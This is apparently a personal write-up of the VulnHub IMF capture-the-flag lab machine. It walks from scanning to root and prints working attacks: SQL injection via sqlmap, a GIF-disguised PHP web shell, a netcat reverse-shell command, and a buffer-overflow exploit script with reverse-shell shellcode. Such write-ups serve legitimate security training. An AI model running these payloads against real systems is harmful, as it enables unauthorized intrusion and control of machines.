VulnHub IMF
10 April, 2021
Machine Link: https://www.vulnhub.com/entry/imf-1,162/
Beginning with an nmap scan
$ sudo nmap -A -p 1-20000 192.168.56.114
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-06 10:45 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.114
Host is up (0.0016s latency).
Not shown: 19999 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: IMF - Homepage
MAC Address: 08:00:27:B3:1F:E7 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.2 - 4.9, Linux 4.4
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 1.64 ms 192.168.56.114
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 60.31 seconds
Only port 80, interesting...
$ nikto -host http://192.168.56.114
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.56.114
+ Target Hostname: 192.168.56.114
+ Target Port: 80
+ Start Time: 2021-04-06 10:47:51 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ IP address found in the 'location' header. The IP is "127.0.1.1".
+ OSVDB-630: The web server may reveal its internal or real IP in the Location header via a request to /images over HTTP/1.0. The value is "127.0.1.1".
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7915 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time: 2021-04-06 10:48:55 (GMT-4) (64 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Checking the available paths
$ ./gobuster dir -u http://192.168.56.114 -w wordlists/common.txt -x php
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.56.114
[+] Method: GET
[+] Threads: 10
[+] Wordlist: wordlists/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd (Status: 403) [Size: 298]
/.htpasswd.php (Status: 403) [Size: 302]
/.htaccess.php (Status: 403) [Size: 302]
/.htaccess (Status: 403) [Size: 298]
/.hta (Status: 403) [Size: 293]
/.hta.php (Status: 403) [Size: 297]
/contact.php (Status: 200) [Size: 8649]
/css (Status: 301) [Size: 314] [--> http://192.168.56.114/css/]
/fonts (Status: 301) [Size: 316] [--> http://192.168.56.114/fonts/]
/images (Status: 301) [Size: 317] [--> http://192.168.56.114/images/]
/index.php (Status: 200) [Size: 4797]
/index.php (Status: 200) [Size: 4797]
/js (Status: 301) [Size: 313] [--> http://192.168.56.114/js/]
/projects.php (Status: 200) [Size: 6574]
/server-status (Status: 403) [Size: 302]
===============================================================
Finished
===============================================================
Looking at the source code for contact.php I found the first flag

The flag was a base64 encoded string
$ echo "YWxsdGhlZmlsZXM=" | base64 --decode
allthefiles
On the same page, one of the JS file name also looked like base64 encoded

$ echo "eVlYUnZjZz09fQ==" | base64 --decode
yYXRvcg==}
Well that looked like a partial text. So I tried concatenating the three file names and there it was!
$ echo "ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==" | base64 --decode
flag2{aW1mYWRtaW5pc3RyYXRvcg==}
$ echo "aW1mYWRtaW5pc3RyYXRvcg==" | base64 --decode
imfadministrator
Hmm imfadministrator looked like a username. While it might be a username, right now it turned out to be a path leading to a login page

Looking at the source code, there is a hardcoded password on the other side

I tried some common usernames and kept getting "invalid username". Took me a while to recall that PHP's strcmp tends to misbehave with certain types of inputs. Using the set of emails as the usernames I sent the pass field as an empty array. When using strcmp, the comparison of a string and an array will return "0", the same value returned on equality.
$ curl 'http://192.168.56.114/imfadministrator/' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: http://192.168.56.114' -H 'DNT: 1' -H 'Connection: keep-alive' -H 'Referer: http://192.168.56.114/imfadministrator/' -H 'Cookie: PHPSESSID=905q5t9p0gnufni3o8j6rgsaa7' -H 'Upgrade-Insecure-Requests: 1' --data-raw 'user=rmichaels&pass[]='
flag3{Y29udGludWVUT2Ntcw==}<br />Welcome, rmichaels<br /><a href='cms.php?pagename=home'>IMF CMS</a>
$ echo "Y29udGludWVUT2Ntcw==" | base64 --decode
continueTOcms
Continuing to the CMS

Straightaway looked like LFI, so I tried a number of payloads from PayloadsAllTheThings and none of them worked.
So I thought of trying SQLi next and it did bring out a different output

Spent some time going through different SQLi payloads but couldn't get anyone to work. So I resorted to using SQLmap (even though its not allowed during the OSCP exam). You will need a valid PHPSESSID.
$ sqlmap -v --threads 10 --url http://192.168.56.114/imfadministrator/cms.php?pagename=home --cookie "PHPSESSID=38jcovvh1qja7rebf66kgsg653;" --dbms=mysql --dump
___
__H__
___ ___[)]_____ ___ ___ {1.5.2#stable}
|_ -| . [.] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[10:58:13] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: pagename (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: pagename=home' AND 1987=1987 AND 'zKiN'='zKiN
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: pagename=home' AND (SELECT 4969 FROM(SELECT COUNT(*),CONCAT(0x7171787671,(SELECT (ELT(4969=4969,1))),0x7171786271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'oapC'='oapC
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: pagename=home' AND (SELECT 2480 FROM (SELECT(SLEEP(5)))dmGo) AND 'VkiK'='VkiK
Type: UNION query
Title: MySQL UNION query (NULL) - 1 column
Payload: pagename=-1132' UNION ALL SELECT CONCAT(0x7171787671,0x7a4c756d4f656d6f63434c54454e7650524779506355654e674a44417662715871644c6251624478,0x7171786271)#
---
[10:58:13] [INFO] testing MySQL
[10:58:14] [INFO] confirming MySQL
[10:58:14] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.10 or 16.04 (yakkety or xenial)
web application technology: Apache 2.4.18
back-end DBMS: MySQL >= 5.0.0
[10:58:14] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[10:58:14] [INFO] fetching current database
[10:58:14] [INFO] fetching tables for database: 'admin'
[10:58:14] [INFO] fetching columns for table 'pages' in database 'admin'
[10:58:14] [INFO] starting 3 threads
[10:58:14] [INFO] retrieved: 'id','int(11)'
[10:58:14] [INFO] retrieved: 'pagedata','text'
[10:58:14] [INFO] retrieved: 'pagename','varchar(255)'
[10:58:14] [INFO] fetching entries for table 'pages' in database 'admin'
[10:58:14] [INFO] starting 4 threads
[10:58:15] [INFO] retrieved: '3','Training classrooms available. <br /><img src="./images/whiteboard.jpg"><br /> Contact us for training.','tutorials-incomplete'
[10:58:15] [INFO] retrieved: '1','Under Construction.','upload'
[10:58:15] [INFO] retrieved: '2','Welcome to the IMF Administration.','home'
[10:58:15] [INFO] retrieved: '4','<h1>Disavowed List</h1><img src="./images/redacted.jpg"><br /><ul><li>*********</li><li>****** ******</li><li>*******</li><li>**** ********</li></ul><br />-Secretary','disavowlist'
Database: admin
Table: pages
[4 entries]
+----+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------+
| id | pagedata | pagename |
+----+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------+
| 1 | Under Construction. | upload |
| 2 | Welcome to the IMF Administration. | home |
| 3 | Training classrooms available. <br /><img src="./images/whiteboard.jpg"><br /> Contact us for training. | tutorials-incomplete |
| 4 | <h1>Disavowed List</h1><img src="./images/redacted.jpg"><br /><ul><li>*********</li><li>****** ******</li><li>*******</li><li>**** ********</li></ul><br />-Secretary | disavowlist |
+----+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------+
[10:58:15] [INFO] table 'admin.pages' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.56.114/dump/admin/pages.csv'
[10:58:15] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.56.114'
Oh a hidden page, let's check that out.

Decoding the QR code gave away the next flag
# flag4{dXBsb2Fkcjk0Mi5waHA=}
$ echo "dXBsb2Fkcjk0Mi5waHA=" | base64 --decode
uploadr942.php
This page was an upload form

Uploading a PHP file gave the error Error: Invalid file type. however images uploaded successfully. After uploading the page's source had a comment with what looked like a hash. After some trial and error, I could find the uploaded file at /imfadministrator/uploads/<hash>.<extension>. Just changing the extension of a PHP file to PNG gave the error Error: CrappyWAF detected malware. Signature: fsockopen php function detected
The "CrappyWAF" was also filtering out PHP functions like system(), after playing around a bit the payload that got through was a tricky GIF file
GIF87a<?php echo `whoami`; ?>

So I modified the payload to
GIF87a<?php $c = $_GET["c"]; `$c`; ?>
After a couple of tries, I was able to get a reverse shell using a URL encoded nc based command, of course after verifying nc is installed using which nc
http://192.168.56.114/imfadministrator/uploads/640e59faf52b.gif?c=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20192.168.56.103%204243%20%3E%2Ftmp%2Ff
The next flag was found immediately
$ nc -lvnp 4243
listening on [any] 4243 ...
connect to [192.168.56.103] from (UNKNOWN) [192.168.56.114] 60044
/bin/sh: 0: can't access tty; job control turned off
$ ls -ltrha
total 124K
-rw-r--r-- 1 www-data www-data 82 Oct 12 2016 .htaccess
-rw-r--r-- 1 www-data www-data 28 Oct 12 2016 flag5_abc123def.txt
drwxr-xr-x 4 www-data www-data 4.0K Oct 17 2016 ..
-rw-r--r-- 1 www-data www-data 9.0K Apr 8 13:02 f5096714c347.png
-rw-r--r-- 1 www-data www-data 33K Apr 8 13:03 00c037fd0ae4.png
-rw-r--r-- 1 www-data www-data 20K Apr 8 13:03 cbdc715fe5d0.png
-rw-r--r-- 1 www-data www-data 24K Apr 8 13:03 3f9268dc399f.png
-rw-r--r-- 1 www-data www-data 25 Apr 8 13:13 49b2d7166eb2.gif
-rw-r--r-- 1 www-data www-data 30 Apr 8 13:14 fc98764cf4e6.gif
-rw-r--r-- 1 www-data www-data 38 Apr 8 13:17 16121fc53599.gif
-rw-r--r-- 1 www-data www-data 43 Apr 8 13:18 640e59faf52b.gif
drwxr-xr-x 2 www-data www-data 4.0K Apr 8 13:18 .
$ cat flag5_abc123def.txt
flag5{YWdlbnRzZXJ2aWNlcw==}
$ echo "YWdlbnRzZXJ2aWNlcw==" | base64 --decode
agentservices
$ whoami
www-data
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
mysql:x:107:111:MySQL Server,,,:/nonexistent:/bin/false
messagebus:x:108:112::/var/run/dbus:/bin/false
uuidd:x:109:113::/run/uuidd:/bin/false
dnsmasq:x:110:65534:dnsmasq,,,:/var/lib/misc:/bin/false
sshd:x:111:65534::/var/run/sshd:/usr/sbin/nologin
setup:x:1000:1000:setup,,,:/home/setup:/bin/bash
From here it took me a while and a vain run of linpeas, after which I found two interesting files in /usr/local/bin
$ cd /usr/local/bin
$ ls -ltrha
total 24K
drwxr-xr-x 10 root root 4.0K Sep 22 2016 ..
-rwxr-xr-x 1 root root 12K Oct 12 2016 agent
-rw-r--r-- 1 root root 19 Oct 16 2016 access_codes
drwxr-xr-x 2 root root 4.0K Oct 16 2016 .
$ file agent
agent: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=444d1910b8b99d492e6e79fe2383fd346fc8d4c7, not stripped
$ file access_codes
access_codes: ASCII text
$ cat access_codes
SYN 7482,8279,9467
These looked like port numbers. Looking at the running processes, I came to know about this process knockd so I tried hitting these ports in the specified order.
$ nc -z localhost 7482 8279 9467
$ netstat -tunlp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:7788 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
$ nc localhost 7788
___ __ __ ___
|_ _| \/ | __| Agent
| || |\/| | _| Reporting
|___|_| |_|_| System
Agent ID :
While this was waiting for input, I could see a new process running as root that matched a binary found earlier
root 1450 0.0 0.0 2192 532 ? Ss 07:55 0:00 agent
Alright, so let's analyze the binary now
$ ./agent
___ __ __ ___
|_ _| \/ | __| Agent
| || |\/| | _| Reporting
|___|_| |_|_| System
Agent ID :
I couldn't find a valid agent ID straightaway, however the strings output for this binary showed some interesting content
$ strings agent
/lib/ld-linux.so.2
I.ny
libc.so.6
_IO_stdin_used
strncmp
__isoc99_scanf
puts
stdin
fgets
getchar
stdout
asprintf
setbuf
__libc_start_main
__gmon_start__
GLIBC_2.7
GLIBC_2.0
PTRh
UWVS
t$,U
[^_]
___ __ __ ___
|_ _| \/ | __| Agent
| || |\/| | _| Reporting
|___|_| |_|_| System
Agent ID :
Invalid Agent ID
Login Validated
Exiting...
Main Menu:
1. Extraction Points
2. Request Extraction
3. Submit Report
0. Exit
Enter selection:
Extraction Points:
Staatsoper, Vienna, Austria
Blenheim Palace, Woodstock, Oxfordshire, England, UK
Great Windmill Street, Soho, London, England, UK
Fawley Power Station, Southampton, England, UK
Underground Station U4 Schottenring, Vienna, Austria
Old Town Square, Old Town, Prague, Czech Republic
Drake Hotel - 140 E. Walton Pl., Near North Side, Chicago, Illinois, USA
Ashton Park, Mosman, Sydney, New South Wales, Australia
Argyle Place, The Rocks, Sydney, New South Wales, Australia
Extraction Request
Enter extraction location:
Location: %s
Extraction team has been deployed.
Enter report update:
Report: %s
Submitted for review.
;*2$",
I came to know about the tool ltrace. According to the man page
ltrace is a program that simply runs the specified command until it exits. It intercepts and records the dynamic library calls which are called by the executed process and the signals which are received by that process. It can also intercept and print the system calls executed by the program.
$ ltrace ./agent
__libc_start_main(0x80485fb, 1, 0xffaae594, 0x8048970 <unfinished ...>
setbuf(0xf779bd60, 0) = <void>
asprintf(0xffaae4c8, 0x80489f0, 0x2ddd984, 0xf76030ec) = 8
puts(" ___ __ __ ___ " ___ __ __ ___
) = 18
puts(" |_ _| \\/ | __| Agent" |_ _| \/ | __| Agent
) = 25
puts(" | || |\\/| | _| Reporting" | || |\/| | _| Reporting
) = 29
puts(" |___|_| |_|_| System\n" |___|_| |_|_| System
) = 27
printf("\nAgent ID : "
Agent ID : ) = 12
fgets(12
"12\n", 9, 0xf779b5a0) = 0xffaae4ce
strncmp("12\n", "48093572", 8) = -1
puts("Invalid Agent ID "Invalid Agent ID
) = 18
+++ exited (status 254) +++
OK, so the agent ID is 48093572. One of the subcommands was vulnerable to buffer overflow
$ ./agent
___ __ __ ___
|_ _| \/ | __| Agent
| || |\/| | _| Reporting
|___|_| |_|_| System
Agent ID : 48093572
Login Validated
Main Menu:
1. Extraction Points
2. Request Extraction
3. Submit Report
0. Exit
Enter selection: 3
Enter report update: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Report: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Submitted for review.
Segmentation fault (core dumped)
So I downloaded the binary to analyse it with gdb
gef➤ disass main
...
0x08048707 <+268>: mov DWORD PTR [ebp-0x10],eax
0x0804870a <+271>: cmp DWORD PTR [ebp-0x10],0x1
0x0804870e <+275>: jne 0x8048717 <main+284>
0x08048710 <+277>: call 0x80487e2 <extractionpoints>
0x08048715 <+282>: jmp 0x8048741 <main+326>
0x08048717 <+284>: cmp DWORD PTR [ebp-0x10],0x2
0x0804871b <+288>: jne 0x8048724 <main+297>
0x0804871d <+290>: call 0x804888b <requestextraction>
0x08048722 <+295>: jmp 0x8048741 <main+326>
0x08048724 <+297>: cmp DWORD PTR [ebp-0x10],0x3
0x08048728 <+301>: jne 0x8048731 <main+310>
0x0804872a <+303>: call 0x804890e <report>
0x0804872f <+308>: jmp 0x8048741 <main+326>
...
gef➤ disass report
Dump of assembler code for function report:
0x0804890e <+0>: push ebp
0x0804890f <+1>: mov ebp,esp
0x08048911 <+3>: sub esp,0xa8
0x08048917 <+9>: sub esp,0xc
0x0804891a <+12>: push 0x8048d53
0x0804891f <+17>: call 0x8048460 <printf@plt>
0x08048924 <+22>: add esp,0x10
0x08048927 <+25>: sub esp,0xc
0x0804892a <+28>: lea eax,[ebp-0xa4]
0x08048930 <+34>: push eax
0x08048931 <+35>: call 0x8048470 <gets@plt>
0x08048936 <+40>: add esp,0x10
0x08048939 <+43>: sub esp,0x8
0x0804893c <+46>: lea eax,[ebp-0xa4]
0x08048942 <+52>: push eax
0x08048943 <+53>: push 0x8048d6a
0x08048948 <+58>: call 0x8048460 <printf@plt>
0x0804894d <+63>: add esp,0x10
0x08048950 <+66>: sub esp,0xc
0x08048953 <+69>: push 0x8048d76
0x08048958 <+74>: call 0x80484a0 <puts@plt>
0x0804895d <+79>: add esp,0x10
0x08048960 <+82>: lea eax,[ebp-0xa4]
0x08048966 <+88>: mov DWORD PTR [ebp-0xc],eax
0x08048969 <+91>: mov eax,DWORD PTR [ebp-0xc]
0x0804896c <+94>: leave
0x0804896d <+95>: ret
End of assembler dump.
It looks like the large input is overflowing to $eax and $eip. $eip is what can be manipulated to point to a specific instruction
$eax : 0xffffd454 → "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[...]"
$ebx : 0x0
$ecx : 0xffffffff
$edx : 0xffffffff
$esp : 0xffffd500 → "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[...]"
$ebp : 0x61616161 ("aaaa"?)
$esi : 0xf7fac000 → 0x001e4d6c
$edi : 0xf7fac000 → 0x001e4d6c
$eip : 0x61616161 ("aaaa"?)
gef➤ info frame
Stack level 0, frame at 0xffffd504:
eip = 0x31333231; saved eip = 0x32313332
called by frame at 0xffffd508
Arglist at 0xffffd4fc, args:
Locals at 0xffffd4fc, Previous frame's sp is 0xffffd504
Saved registers:
eip at 0xffffd500
>>> int(hex(0xffffd500-0xffffd454), 16)
172
That means padding will be of 168 bytes. So now my aim was to fill up $eax with shell code for a reverse shell and then extend my payload so that $eip is manipulated to call $eax. I used msfvenom to generate the payload. This was my first buffer overflow challenge and I wasn't able to write the exploit without assistance.
I used msfvenom to generate the payload and ropgadget to find the call $eax instruction
# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.103 LPORT=4445 -f python
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 68 bytes
Final size of python file: 349 bytes
buf = b""
buf += b"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66"
buf += b"\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0"
buf += b"\xa8\x38\x67\x68\x02\x00\x11\x5d\x89\xe1\xb0\x66\x50"
buf += b"\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73"
buf += b"\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0"
buf += b"\x0b\xcd\x80"
# ROPgadget --binary agent | grep "call eax"
0x0804855d : adc al, 0x68 ; cmp al, 0xb0 ; add al, 8 ; call eax
0x08048561 : add al, 8 ; call eax
0x08048563 : call eax
0x0804855f : cmp al, 0xb0 ; add al, 8 ; call eax
0x0804855c : in al, dx ; adc al, 0x68 ; cmp al, 0xb0 ; add al, 8 ; call eax
0x0804855a : in eax, 0x83 ; in al, dx ; adc al, 0x68 ; cmp al, 0xb0 ; add al, 8 ; call eax
0x0804855e : push 0x804b03c ; call eax
0x0804855b : sub esp, 0x14 ; push 0x804b03c ; call eax
The final exploit
import socket
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(('localhost', 7788))
s.send(b"48093572\n")
s.recv(512)
s.send(b"3\n")
s.recv(512)
buf = b""
buf += b"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66"
buf += b"\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0"
buf += b"\xa8\x38\x67\x68\x02\x00\x11\x5d\x89\xe1\xb0\x66\x50"
buf += b"\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73"
buf += b"\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0"
buf += b"\x0b\xcd\x80"
buf += b"A" * (168 - len(buf))
buf += b"\x63\x85\x04\x08\n"
s.send(buf)
On the victim machine
$ wget http://192.168.56.103:8000/exploit.py
--2021-04-10 08:57:42-- http://192.168.56.103:8000/exploit.py
Connecting to 192.168.56.103:8000... failed: Connection refused.
$ rm exploit.py; wget http://192.168.56.103:8000/exploit.py
rm: cannot remove 'exploit.py': No such file or directory
--2021-04-10 08:57:52-- http://192.168.56.103:8000/exploit.py
Connecting to 192.168.56.103:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 650 [text/x-python]
Saving to: 'exploit.py'
0K 100% 62.5M=0s
2021-04-10 08:57:52 (62.5 MB/s) - 'exploit.py' saved [650/650]
$ python3 exploit.py
On the attack machine
$ nc -lvnp 4445 148 ⨯ 1 ⚙
listening on [any] 4445 ...
connect to [192.168.56.103] from (UNKNOWN) [192.168.56.114] 56318
whoami
root
ls /root
Flag.txt
TheEnd.txt
cat /root/Flag.txt /root/TheEnd.txt
flag6{R2gwc3RQcm90MGMwbHM=}
____ _ __ __
/ _/_ _ ___ ___ ___ ___ (_) / / /__
_/ // ' \/ _ \/ _ \(_-<(_-</ / _ \/ / -_)
/___/_/_/_/ .__/\___/___/___/_/_.__/_/\__/
__ __/_/ _
/ |/ (_)__ ___ (_)__ ___
/ /|_/ / (_-<(_-</ / _ \/ _ \
/_/__/_/_/___/___/_/\___/_//_/
/ __/__ ___________
/ _// _ \/ __/ __/ -_)
/_/ \___/_/ \__/\__/
Congratulations on finishing the IMF Boot2Root CTF. I hope you enjoyed it.
Thank you for trying this challenge and please send any feedback.
Geckom
Twitter: @g3ck0ma
Email: geckom@redteamr.com
Web: http://redteamr.com
Special Thanks
Binary Advice: OJ (@TheColonial) and Justin Stevens (@justinsteven)
Web Advice: Menztrual (@menztrual)
Testers: dook (@dooktwit), Menztrual (@menztrual), llid3nlq and OJ(@TheColonial)
$ echo "R2gwc3RQcm90MGMwbHM=" | base64 --decode 1 ⨯ 1 ⚙
Gh0stProt0c0ls